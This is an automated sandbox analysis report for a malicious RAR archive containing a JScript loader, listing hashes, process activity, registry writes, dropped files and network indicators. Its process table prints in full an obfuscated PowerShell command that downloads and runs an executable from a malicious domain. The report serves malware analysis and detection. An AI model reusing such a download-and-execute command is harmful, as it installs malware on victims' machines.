| File name: | doc.doc.rar |
| Full analysis: | https://app.any.run/tasks/195bee6a-f6b0-4edf-a3f4-41ec7040747b |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | April 15, 2019, 03:26:29 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-rar |
| File info: | RAR archive data, v4, os: Win32 |
| MD5: | 907D4464782979E32875AD9CF27935DF |
| SHA1: | 85F448C9C570C00A355C7988564436C172CF6A14 |
| SHA256: | AE2502987BCD9EF5FD0A69C74EB229F10FA75F0C5EF9667B5086022C3DD8B0E4 |
| SSDEEP: | 48:ziNep++uqwudXh0SAXyKghkk0Ot6q7Kne8eJ8vu0bXqyQuE3vlAdC8ZuNzede2:m1+uqV9qSaXgllt6q7x8M8v3+yQumlA3 |
MALICIOUS
Application was dropped or rewritten from another process
- TempbsK70.exe (PID: 3056)
Executes PowerShell scripts
- cmd.exe (PID: 404)
Downloads executable files from the Internet
- powershell.exe (PID: 3172)
SUSPICIOUS
Starts CMD.EXE for commands execution
- WScript.exe (PID: 3040)
Executable content was dropped or overwritten
- powershell.exe (PID: 3172)
Executes scripts
- WinRAR.exe (PID: 3068)
Creates files in the user directory
- powershell.exe (PID: 3172)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rar | | | RAR compressed archive (v-4.x) (58.3) |
|---|---|---|
| .rar | | | RAR compressed archive (gen) (41.6) |
EXIF
ZIP
| CompressedSize: | 2630 |
|---|---|
| UncompressedSize: | 10087 |
| OperatingSystem: | Win32 |
| ModifyDate: | 2019:04:13 20:46:08 |
| PackingMethod: | Normal |
| ArchivedFileName: | doc.doc.js |
Total processes
36
Monitored processes
5
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 404 | "C:\Windows\System32\cmd.exe" /c dRPSwHkjGELpyDb & p^owEr^she^lL.e^Xe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://instant-payments.ru/read.exe','%temp%bsK70.exe'); & start %temp%bsK70.exe & gZBHciRsnSOXFuN | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3040 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa3068.31769\doc.doc.js" | C:\Windows\System32\WScript.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3056 | C:\Users\admin\AppData\Local\TempbsK70.exe | C:\Users\admin\AppData\Local\TempbsK70.exe | — | cmd.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3068 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\doc.doc.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 3172 | powErshelL.eXe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://instant-payments.ru/read.exe','C:\Users\admin\AppData\Local\TempbsK70.exe'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
729
Read events
644
Write events
85
Delete events
0
Modification events
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\doc.doc.rar | |||
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | @C:\Windows\System32\wshext.dll,-4804 |
Value: JScript Script File | |||
| (PID) Process: | (3068) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
1
Suspicious files
2
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3172 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9V6FX9HHGA6JPNZMQEA8.temp | — | |
MD5:— | SHA256:— | |||
| 3172 | powershell.exe | C:\Users\admin\AppData\Local\TempbsK70.exe | executable | |
MD5:— | SHA256:— | |||
| 3068 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3068.31769\doc.doc.js | text | |
MD5:— | SHA256:— | |||
| 3172 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3172 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1091b3.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
2
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3172 | powershell.exe | GET | 200 | 62.73.70.146:80 | http://instant-payments.ru/read.exe | BG | executable | 502 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3172 | powershell.exe | 62.73.70.146:80 | instant-payments.ru | Vivacom | BG | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
instant-payments.ru |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3172 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |